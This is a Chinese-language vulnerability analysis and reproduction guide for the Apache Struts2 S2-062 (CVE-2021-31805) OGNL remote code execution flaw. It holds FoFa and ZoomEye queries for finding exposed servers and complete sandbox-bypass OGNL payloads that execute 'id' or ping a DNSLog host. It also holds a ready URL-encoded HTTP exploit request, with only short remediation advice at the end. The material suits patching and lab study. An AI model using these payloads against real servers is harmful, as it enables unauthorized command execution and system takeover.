简介

2022年4月12日，Apache发布安全公告，修复了一个Apache Struts2 中的远程代码执行漏洞S2-062（CVE-2021-31805），攻击者可以利用此漏洞来控制受影响的系统。该漏洞是由于 2020 年 S2-061（CVE-2020-17530）的不完整修复造成的，当开发人员使用了 %{…} 语法进行强制OGNL解析时，仍有一些特殊的TAG属性可被二次解析，攻击者可构造恶意的OGNL表达式触发漏洞，从而实现远程代码执行。

影响范围

2.0.0 <= Apache Struts2 <= 2.5.29

搜索语法

FoFa

app="Struts2"

ZoomEye

app:"Struts2"

app:"Apache Struts2"

漏洞分析

与 S2-059 的示例非常相似，开发人员使用语法%{}定义属性的值，以使该页面动态并引入 url 参数。例如，如果将 url 参数skillName传递给页面，通常访问https://<domain>/?skillName=abctest,后端代码执行单次 OGNL 解析，以检索 GET 参数传入的数据

<s:url action="list" namespace="/employee" var="url">
<s:a href="%{url}" id="%{skillName}">List available Employees</s:a>
</s:url>

但当用户传入的数据执行两次 OGNL 解析时，就会存在漏洞。 当访问https://<domain>/?skillName=%{3*3}时，后端将执行两次OGNL解析，从而导致id=9。

S2-061的修复https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e,主要集中在UIBean 类。两个 OGNL 评估之一发生在 setId 函数期间，当它调用 findString(id) 并添加递归检查以不进行 OGNL 解析。

它在局部变量name上调用 completeExpressionIfAltSyntax 并将其分配给 expr，但在最终 OGNL 解析局部变量expr之前对局部变量name进行了递归检查。

但是如果不对局部变量name进行第二次 OGNL 解析，name 将不会包含用户提供的来自 URL 参数的数据。然而在evaluateParams函数中执行了另一个 OGNL 解析。

这意味着对于某些 UIBean 标记的名称属性很容易受到两次 OGNL 解析，如果它们不包含值参数， 则可能导致远程代码执行。

有一些非常有才华的研究人员发现，您可以使用以下方法绕过 OGNL/Struts 沙盒限制：

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

创建一个 BeanMap 并使用它的setBean和put函数来清除excludedPackageNames 和excludedClasses 从而取消沙箱限制，但是新的沙盒限制阻止了 org.apache.tomcat.* 的使用：

可以创建自定义Map类，也可以创建一个 BeanMap 对象。之前创建 BeanMap 的方法是：

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap') 

现在可以通过更简单的方法创建：

#@org.apache.commons.collections.BeanMap@{}

使用 org.apache.commons.collections.BeanMap 没有任何沙盒限制，因此通过使用特殊的 OGNL 语法直接创建就可以绕过所有以前的沙盒限制。Payload如下（在S2-061的基础上去掉%{}）：

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))

漏洞检测

• 算术运行/预期字符串/MD5

  有回显的情况下，使用3*3，?id=+'test'+%2b+(2000+%2b+20).toString()，使用Payload执行echo $str1$str2，expr 123 + 123等方式
  

• DNSLog

  (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))
  

• 命令执行

  (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
  

漏洞复现

漏洞环境docker-compose.yml：

version: '2'
services:
 struts2:
   image: vulhub/struts2:2.5.25
   ports:
    - "58080:8080"

测试数据包：

POST / HTTP/1.1
Host: x.x.x.x:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node01s6jfwzu7jiaso84yeylhndzq2863.node0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1045

id=%25{(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}

测试结果：

Pocsuite

检测代码：

漏洞检测：

漏洞利用：

反弹shell：

Xray

修复建议

1. 禁用org.apache.commons.collection.BeanMap

2. 升级到2.5.29以上

参考文章

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

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